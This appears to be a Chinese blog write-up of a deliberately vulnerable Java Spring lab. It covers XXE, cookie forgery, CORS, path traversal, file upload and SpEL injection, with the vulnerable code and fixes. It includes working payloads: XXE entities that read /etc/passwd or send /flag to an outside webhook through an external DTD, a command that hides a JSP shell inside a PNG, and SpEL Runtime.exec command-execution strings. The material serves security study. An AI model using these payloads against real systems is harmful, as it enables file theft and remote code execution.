origin = StringUtils.replace(origin, "'", "'"); | |
origin = StringUtils.replace(origin, "/", "/"); | |
return origin; | |
} | |
} |
将尖括号过滤就差不多了
# XXE
# 1. 路由 /xxe/xmlReader/vuln
@PostMapping("/xmlReader/vuln") | |
public String xmlReaderVuln(HttpServletRequest request) { | |
try { | |
String body = WebUtils.getRequestBody(request); | |
logger.info(body); | |
XMLReader xmlReader = XMLReaderFactory.createXMLReader(); | |
xmlReader.parse(new InputSource(new StringReader(body))); // parse xml | |
return "xmlReader xxe vuln code"; | |
} catch (Exception e) { | |
logger.error(e.toString()); | |
return EXCEPT; | |
} | |
} |
# 2. 路由 /xxe/SAXBuilder/vuln
@RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST) | |
public String SAXBuilderVuln(HttpServletRequest request) { | |
try { | |
String body = WebUtils.getRequestBody(request); | |
logger.info(body); | |
SAXBuilder builder = new SAXBuilder(); | |
// org.jdom2.Document document | |
builder.build(new InputSource(new StringReader(body))); // cause xxe | |
return "SAXBuilder xxe vuln code"; | |
} catch (Exception e) { | |
logger.error(e.toString()); | |
return EXCEPT; | |
} | |
} |
换用 SAXReader 第三方库,攻击手法同上:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "https://webhook.site/bef89c10-3850-4342-8f7e-934073c0cc12">]><root>&xxe;</root> |
只能用来读文件,而且还不回显,有点难受
# 修复代码:
竟然都是外部实体造成的问题,直接禁用就好了
@RequestMapping(value = "/SAXBuilder/sec", method = RequestMethod.POST) | |
public String SAXBuilderSec(HttpServletRequest request) { | |
try { | |
String body = WebUtils.getRequestBody(request); | |
logger.info(body); | |
SAXBuilder builder = new SAXBuilder(); | |
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); | |
builder.setFeature("http://xml.org/sax/features/external-general-entities", false); | |
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false); | |
// org.jdom2.Document document | |
builder.build(new InputSource(new StringReader(body))); | |
} catch (Exception e) { | |
logger.error(e.toString()); | |
return EXCEPT; | |
} | |
return "SAXBuilder xxe security code"; | |
} |
# 3. 路由 /xxe/SAXReader/vuln
@RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST) | |
public String SAXBuilderVuln(HttpServletRequest request) { | |
try { | |
String body = WebUtils.getRequestBody(request); | |
logger.info(body); | |
SAXBuilder builder = new SAXBuilder(); | |
// org.jdom2.Document document | |
builder.build(new InputSource(new StringReader(body))); // cause xxe | |
return "SAXBuilder xxe vuln code"; | |
} catch (Exception e) { | |
logger.error(e.toString()); | |
return EXCEPT; | |
} | |
} |
payload 一样,也是没有任何防御,该类有回显
# 通用的做法:
# External DTD(外部 DTD)+ 参数实体(Parameter Entity)实现的 Blind XXE 外带攻击
在主 xml 里面写:
<?xml version="1.0"?> | |
<!DOCTYPE root [ | |
<!ENTITY % dtd SYSTEM "http://192.168.159.1:8000/1.dtd"> | |
%dtd; | |
]> | |
<root>&send;</root> |
在这个服务器上起一个 http 服务:
python -m http.server 8000
然后再起的服务下面创建一个 dtd 文件,在 dtd 文件里面搞一个
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'https://webhook.site/9181b45a-e69a-4ca5-8424-f3f6888ddf8e?d=%file;'>">
%all;
xml 这个东西感觉可以学学
感觉都差不多,直接发送请求
看一下有没有外带数据,有了
# 4. 路由 /xxe/SAXParser/vuln
漏洞代码:
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
java复制代码12345678910111213141516
# 5. 路由 /xxe/Digester/vuln
漏洞代码:
@RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST)
public String DigesterVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
Digester digester = new Digester();
digester.parse(new StringReader(body)); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "Digester xxe vuln code";
}
java复制代码1234567891011121314
# 6. 路由 /xxe/DocumentBuilder/vuln
漏洞代码:
@RequestMapping(value = "/DocumentBuilder/vuln", method = RequestMethod.POST)
public String DocumentBuilderVuln(HttpServletRequest request) {
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
InputSource is = new InputSource(request.getInputStream());
Document document = db.parse(is); // parse xml
// 遍历xml节点name和value
StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
return buf.toString();
} catch (Exception e) {
e.printStackTrace();
logger.error(e.toString());
return e.toString();
}
}
java复制代码1234567891011121314151617181920212223242526
这是 JDK 自带的类,以此产生的 XXE 是存在回显的
# 7. 路由 /xxe/DocumentBuilder/xinclude/vuln
漏洞代码:
@RequestMapping(value = "/DocumentBuilder/xinclude/vuln", method = RequestMethod.POST)
public String DocumentBuilderXincludeVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
NodeList rootNodeList = document.getChildNodes();
response(rootNodeList);
sr.close();
return "DocumentBuilder xinclude xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
Java复制代码123456789101112131415161718192021222324
# 8. 路由 /xxe/XMLReader/vuln
漏洞代码:
@PostMapping("/XMLReader/vuln")
public String XMLReaderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser saxParser = spf.newSAXParser();
XMLReader xmlReader = saxParser.getXMLReader();
xmlReader.parse(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "XMLReader xxe vuln code";
}
java复制代码123456789101112131415161718
# 9. 路由 /xxe/DocumentHelper/vuln
漏洞代码:
@PostMapping("/DocumentHelper/vuln")
public String DocumentHelper(HttpServletRequest req) {
try {
String body = WebUtils.getRequestBody(req);
DocumentHelper.parseText(body); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "DocumentHelper xxe vuln code";
}
private static void response(NodeList rootNodeList){
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList xxe = rootNode.getChildNodes();
for (int j = 0; j < xxe.getLength(); j++) {
Node xxeNode = xxe.item(j);
// 测试不能blind xxe,所以强行加了一个回显
logger.info("xxeNode: " + xxeNode.getNodeValue());
}
}
}
复制代码1234567891011121314151617181920212223242526
修复该漏洞只需升级 dom4j 到 2.1.1 及以上,该版本及以上禁用了 ENTITY,不带 ENTITY 的 PoC 不能利用,所以禁用 ENTITY 即可完成修复。
# 上述存在 XXE 漏洞库对比
工具 / 类 | 简介 | 使用场景 | 优点 | 缺点 |
---|---|---|---|---|
xmlReader |
SAX 的接口,基于事件驱动的解析 | 处理大型 XML 文件 | 内存占用小,速度快 | 需要手动管理上下文,处理复杂结构困 |
SAXBuilder |
JDOM 中基于 SAX 的解析器 | 需要用 JDOM 处理 XML 数据时 | 结合了 SAX 的高效性和 JDOM 的易用性 | 解析速度依赖于 SAX,灵活性低于 DOM |
SAXReader` | Dom4j 中基于 SAX 的解析器 | 需要 Dom4j 进行 XML 操作时 | 高效且灵活,支持树结构 | 性能略逊于纯 SAX | | ||||
SAXParser |
Java 中的 SAX 解析器 | 基于事件驱动的解析,适合处理大型 XML 文件 | 高效,内存占用小 | 解析复杂 XML 需要手动处理回调 |
Digester` | 基于 SAX,将 XML 映射到 Java 对象(Apache Commons 提供) | 需要将 XML 映射为 Java 对象时 | 简化 XML 与 Java 对象的映射 | 对大文件不友好,灵活性较低 | | ||||
DocumentBuilder` | Java 中 DOM 解析器,用于构建树状结构 | 需要完整树结构操作,如修改和多次遍历 XML 文件 | 完整保留文档结构,易于查找和修改 | 内存占用较大,处理大文件时性能较差 | | ||||
DocumentHelper |
Dom4j 提供的辅助类,用于快速创建和操作 XML 文档 | 需要手动构建和操作 XML 文档时 | 快速创建和处理 XML 文档,灵活性高 | 内存占用较大,处理超大文件时性能不佳 |
# 统一漏洞利用 payload:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM " https://webhook.site/9181b45a-e69a-4ca5-8424-f3f6888ddf8e">]><root>&xxe;</root> |
# 统一修复代码:
// 实例化解析类之后通常会支持着三个配置 | |
obj.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); | |
obj.setFeature("http://xml.org/sax/features/external-general-entities", false); | |
obj.setFeature("http://xml.org/sax/features/external-parameter-entities", false); |
仅用了外部实体,限制实体来源
# 10. 路由 /xxe/xmlbeam/vuln
漏洞源码:
@PostMapping(value = "/xmlbeam/vuln") | |
HttpEntity<String> post(@RequestBody UserPayload user) { | |
try { | |
logger.info(user.toString()); | |
return ResponseEntity.ok(String.format("hello, %s!", user.getUserName())); | |
}catch (Exception e){ | |
e.printStackTrace(); | |
return ResponseEntity.ok("error"); | |
} | |
} | |
/** | |
* The projection interface using XPath and JSON Path expression to selectively pick elements from the payload. | |
*/ | |
@ProjectedPayload | |
public interface UserPayload { | |
@XBRead("//userName") | |
String getUserName(); | |
} |
该代码需要使用固定的标签实现回显,我们可以构造 payload
<?xml version="1.0" encoding="UTF-8"?> | |
<!DOCTYPE foo [ | |
<!ENTITY xxe SYSTEM "file:///etc/passwd"> | |
]> | |
<userPayload> | |
<userName>&xxe;</userName> | |
</userPayload> |
# 路由 /ooxml/readxlsx
漏洞源码:
@PostMapping("/readxlsx") | |
@ResponseBody | |
public String ooxml_xxe(MultipartFile file) throws IOException { | |
XSSFWorkbook wb = new XSSFWorkbook(file.getInputStream()); // xxe vuln | |
XSSFSheet sheet = wb.getSheetAt(0); | |
XSSFRow row; | |
XSSFCell cell; | |
Iterator rows = sheet.rowIterator(); | |
StringBuilder sbResult = new StringBuilder(); | |
while (rows.hasNext()) { | |
row = (XSSFRow) rows.next(); | |
Iterator cells = row.cellIterator(); | |
while (cells.hasNext()) { | |
cell = (XSSFCell) cells.next(); | |
if (cell.getCellType() == XSSFCell.CELL_TYPE_STRING) { | |
sbResult.append(cell.getStringCellValue()).append(" "); | |
} else if (cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC) { | |
sbResult.append(cell.getNumericCellValue()).append(" "); | |
} else { | |
logger.info("errors"); | |
} | |
} | |
} | |
return sbResult.toString(); | |
} |
查看源码得知使用的是 poi-ooxml 组件(Apache POI 是提供 Microsoft Office 系列文档读写功能的 JAVA 类库)
进行 Xlsx 文件操作,在 3.10 版本及以下存在 XXE 注入漏洞,3.15 以下版本存在 Dos 漏洞,这里使用的是 3.10 版本。
可以在 windows 新建一个 xlsx 文件,然后改成 zip 文件,进行解压,有一个 content-type.xml 文件,修改里面的文件
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM " https://webhook.site/9181b45a-e69a-4ca5-8424-f3f6888ddf8e">]><root>&xxe;</root> |
类似于这样的:
但是我只能访问 http 网站,不能加载外部 dtd 文件来外带数据,不过还是可以证明我的操作是没错的
# 12. 路由 /xlsx-streamer/readxlsx
漏洞代码:
@PostMapping("/readxlsx")
public void xllx_streamer_xxe(MultipartFile file) throws IOException {
StreamingReader.builder().open(file.getInputStream());
}
java复制代码1234
换了个库,原理 payload 同上
# cookie 伪造
# 1. 路由 /cookie/vuln01
漏洞代码:
private static String NICK = "nick";
@GetMapping(value = "/vuln01")
public String vuln01(HttpServletRequest req) {
String nick = WebUtils.getCookieValueByName(req, NICK); // key code
return "Cookie nick: " + nick;
}
java复制代码1234567
# 2. 路由 /cookie/vuln02
漏洞代码:
@GetMapping(value = "/vuln02")
public String vuln02(HttpServletRequest req) {
String nick = null;
Cookie[] cookie = req.getCookies();
if (cookie != null) {
nick = getCookie(req, NICK).getValue(); // key code
}
return "Cookie nick: " + nick;
}
Java复制代码1234567891011
# 3. 路由 /cookie/vuln03
漏洞代码:
@GetMapping(value = "/vuln03")
public String vuln03(HttpServletRequest req) {
String nick = null;
Cookie cookies[] = req.getCookies();
if (cookies != null) {
for (Cookie cookie : cookies) {
// key code. Equals can also be equalsIgnoreCase.
if (NICK.equals(cookie.getName())) {
nick = cookie.getValue();
}
}
}
return "Cookie nick: " + nick;
}
Java复制代码1234567891011121314
# 4. 路由 /cookie/vuln04
漏洞代码:
@GetMapping(value = "/vuln04")
public String vuln04(HttpServletRequest req) {
String nick = null;
Cookie cookies[] = req.getCookies();
if (cookies != null) {
for (Cookie cookie : cookies) {
if (cookie.getName().equalsIgnoreCase(NICK)) { // key code
nick = cookie.getValue();
}
}
}
return "Cookie nick: " + nick;
}
Java复制代码12345678910111213
# 5. 路由 /cookie/vuln05
漏洞代码:
@GetMapping(value = "/vuln05")
public String vuln05(@CookieValue("nick") String nick) {
return "Cookie nick: " + nick;
}
Java复制代码1234
# 6. 路由 /cookie/vuln06
漏洞代码:
@GetMapping(value = "/vuln06")
public String vuln06(@CookieValue(value = "nick") String nick) {
return "Cookie nick: " + nick;
}
复制代码1234
# 漏洞利用
我们可以直接通过修改 cookie 的值实现对 nick 值的修改,某些情况可能会存在越权漏洞,操作如下:
# CORS
CORS(跨域资源共享)是用来实现跨域资源访问的,比如有两个域 a1.com 和 b1.com,假设 b1.com 上面有个接口能够获取一些返回的数据,那么如果我们从 a1.com 写一段 js 去请求这个接口的数据,一般来说是请求不了的,会在浏览器爆出 CORS 错误,但如果有 CORS 设置,就可以实现这样的访问,甚至可以能够使用 b1.com 上的 cookie。
# 1. 路由 /cors/vuln/origin
漏洞代码:
private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
@GetMapping("/vuln/origin")
public String vuls1(HttpServletRequest request, HttpServletResponse response) {
String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header
response.setHeader("Access-Control-Allow-Credentials", "true"); // allow cookie
return info;
}
java复制代码123456789
# 2. 路由 /cors/vuln/setHeader
漏洞代码:
@GetMapping("/vuln/setHeader")
public String vuls2(HttpServletResponse response) {
// 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常
response.setHeader("Access-Control-Allow-Origin", "*");
return info;
}
java复制代码123456
# 3. 路由 /cors/vuln/crossOrigin
漏洞代码:
@GetMapping("*")
@RequestMapping("/vuln/crossOrigin")
public String vuls3() {
return info;
}
Java复制代码12345
# 漏洞验证
可通过抓包修改 origin 字段验证漏洞
不为空时,验证白名单:
# 目录遍历
# 路由 /path_traversal/vul
# 漏洞代码:
@GetMapping("/path_traversal/vul") | |
public String getImage(String filepath) throws IOException { | |
return getImgBase64(filepath); | |
} | |
private String getImgBase64(String imgFile) throws IOException { | |
logger.info("Working directory: " + System.getProperty("user.dir")); | |
logger.info("File path: " + imgFile); | |
File f = new File(imgFile); | |
if (f.exists() && !f.isDirectory()) { | |
byte[] data = Files.readAllBytes(Paths.get(imgFile)); | |
return new String(Base64.encodeBase64(data)); | |
} else { | |
return "File doesn't exist or is not a file."; | |
} | |
} |
修复代码:
@GetMapping("/path_traversal/sec") | |
public String getImageSec(String filepath) throws IOException { | |
if (SecurityUtil.pathFilter(filepath) == null) { | |
logger.info("Illegal file path: " + filepath); | |
return "Bad boy. Illegal file path."; | |
} | |
return getImgBase64(filepath); | |
} |
pathfileter 过滤器的内容为:
public static String pathFilter(String filepath) { | |
String temp = filepath; | |
// use while to sovle multi urlencode | |
while (temp.indexOf('%') != -1) { | |
try { | |
temp = URLDecoder.decode(temp, "utf-8"); | |
} catch (UnsupportedEncodingException e) { | |
logger.info("Unsupported encoding exception: " + filepath); | |
return null; | |
} catch (Exception e) { | |
logger.info(e.toString()); | |
return null; | |
} | |
} | |
if (temp.contains("..") || temp.charAt(0) == '/') { | |
return null; | |
} | |
return filepath; | |
} |
这个代码过滤的是 linux 里面的内容,windows 是以盘符开始的路径,防不住 windows 的文件
# 文件上传
直接看 sec 修复代码:
@PostMapping("/upload/picture") | |
@ResponseBody | |
public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception { | |
if (multifile.isEmpty()) { | |
return "Please select a file to upload"; | |
} | |
String fileName = multifile.getOriginalFilename(); | |
String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名 | |
String mimeType = multifile.getContentType(); // 获取 MIME 类型 | |
String filePath = UPLOADED_FOLDER + fileName; | |
File excelFile = convert(multifile); | |
// 判断文件后缀名是否在白名单内 校验 1 | |
String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"}; | |
boolean suffixFlag = false; | |
for (String white_suffix : picSuffixList) { | |
if (Suffix.toLowerCase().equals(white_suffix)) { | |
suffixFlag = true; | |
break; | |
} | |
} | |
if (!suffixFlag) { | |
logger.error("[-] Suffix error: " + Suffix); | |
deleteFile(filePath); | |
return "Upload failed. Illeagl picture."; | |
} | |
// 判断 MIME 类型是否在黑名单内 校验 2 | |
String[] mimeTypeBlackList = { | |
"text/html", | |
"text/javascript", | |
"application/javascript", | |
"application/ecmascript", | |
"text/xml", | |
"application/xml" | |
}; | |
for (String blackMimeType : mimeTypeBlackList) { | |
// 用 contains 是为了防止 text/html;charset=UTF-8 绕过 | |
if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) { | |
logger.error("[-] Mime type error: " + mimeType); | |
deleteFile(filePath); | |
return "Upload failed. Illeagl picture."; | |
} | |
} | |
// 判断文件内容是否是图片 校验 3 | |
boolean isImageFlag = isImage(excelFile); | |
deleteFile(randomFilePath); | |
if (!isImageFlag) { | |
logger.error("[-] File is not Image"); | |
deleteFile(filePath); | |
return "Upload failed. Illeagl picture."; | |
} | |
try { | |
// Get the file and save it somewhere | |
byte[] bytes = multifile.getBytes(); | |
Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename()); | |
Files.write(path, bytes); | |
} catch (IOException e) { | |
logger.error(e.toString()); | |
deleteFile(filePath); | |
return "Upload failed"; | |
} | |
logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType); | |
logger.info("[+] Successfully uploaded {}", filePath); | |
return String.format("You successfully uploaded '%s'", filePath); | |
} |
图片才能绕过,但也可以通过
copy 1.png/shell.jsp muma.png |
# SpEL 表达式注入漏洞
Spring Expression Language (简称 SpEl) 是一种强大的表达式语言,支持在运行时查询和操作对象图,语言语法类似于 Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串木模板功能,因为 SpEL 的功能强大允许在表达式中动态调用方法
# 路由 /spel/vuln1
漏洞代码:
@RequestMapping("/spel/vuln1") | |
public String spel_vuln1(String value) { | |
ExpressionParser parser = new SpelExpressionParser(); | |
return parser.parseExpression(value).getValue().toString(); | |
} |
可以通过 spel 表达式实现命令执行
T(java.lang.Runtime).getRuntime().exec("calc") |
也可以
T(java.lang.Runtime).getRuntime().exec("calc")
直接执行命令
new%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cat%20/flag").getInputStream()).useDelimiter("%5C%5C%5CA").next() |
# 路由 /spel/vuln2
@RequestMapping("spel/vuln2") | |
public String spel_vuln2(String value) { | |
StandardEvaluationContext context = new StandardEvaluationContext(); | |
SpelExpressionParser parser = new SpelExpressionParser(); | |
Expression expression = parser.parseExpression(value, new TemplateParserContext()); | |
Object x = expression.getValue(context); // trigger vulnerability point | |
return x.toString(); // response | |
} |
在第一关上加上了一个模板引擎,用 ${} 套上就好了
payload:
${T(java.lang.Runtime.getRuntime().exec('calc')} |
%23%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20%2Fflag%22).getInputStream()).useDelimiter(%22%5C%5C%5CA%22).next()%7D |
漏洞修复:
@RequestMapping("spel/sec") | |
public String spel_sec(String value) { | |
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build(); | |
SpelExpressionParser parser = new SpelExpressionParser(); | |
Expression expression = parser.parseExpression(value, new TemplateParserContext()); | |
Object x = expression.getValue(context); | |
return x.toString(); | |
} |
使用 SimpleEvaluationContext 进行加固,定义一个只读的上下文环境防止不安全的操作